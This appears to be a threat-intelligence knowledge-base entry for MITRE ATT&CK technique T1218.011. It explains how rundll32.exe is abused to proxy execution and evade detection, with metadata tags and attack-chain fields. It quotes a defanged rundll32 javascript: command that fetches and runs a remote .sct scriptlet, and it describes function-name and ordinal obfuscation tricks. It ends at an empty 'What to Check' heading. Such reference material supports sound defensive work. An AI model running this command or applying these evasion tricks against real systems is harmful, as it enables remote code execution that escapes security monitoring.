t1218-011-rundll32

name	T1218.011_rundll32
description	Adversaries may abuse rundll32.exe to proxy execution of malicious code.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1218.011","defense-evasion","windows","sub-technique"]
technique_id	T1218.011
tactic	defense-evasion
all_tactics	["defense-evasion"]
platforms	["Windows"]
mitre_url	https://attack.mitre.org/techniques/T1218/011
tech_stack	["windows"]
cwe_ids	["CWE-693"]
chains_with	["T1218","T1218.001","T1218.002","T1218.003","T1218.004","T1218.005","T1218.007","T1218.008","T1218.009","T1218.010","T1218.012","T1218.013","T1218.014","T1218.015"]
prerequisites	["T1218"]
severity_boost	{"T1218":"Chain with T1218 for deeper attack path","T1218.001":"Chain with T1218.001 for deeper attack path","T1218.002":"Chain with T1218.002 for deeper attack path"}

T1218.011 Rundll32

Sub-technique of: T1218

High-Level Description

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.

Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.

Kill Chain Phase

• Defense Evasion (TA0005)

Platforms: Windows

What to Check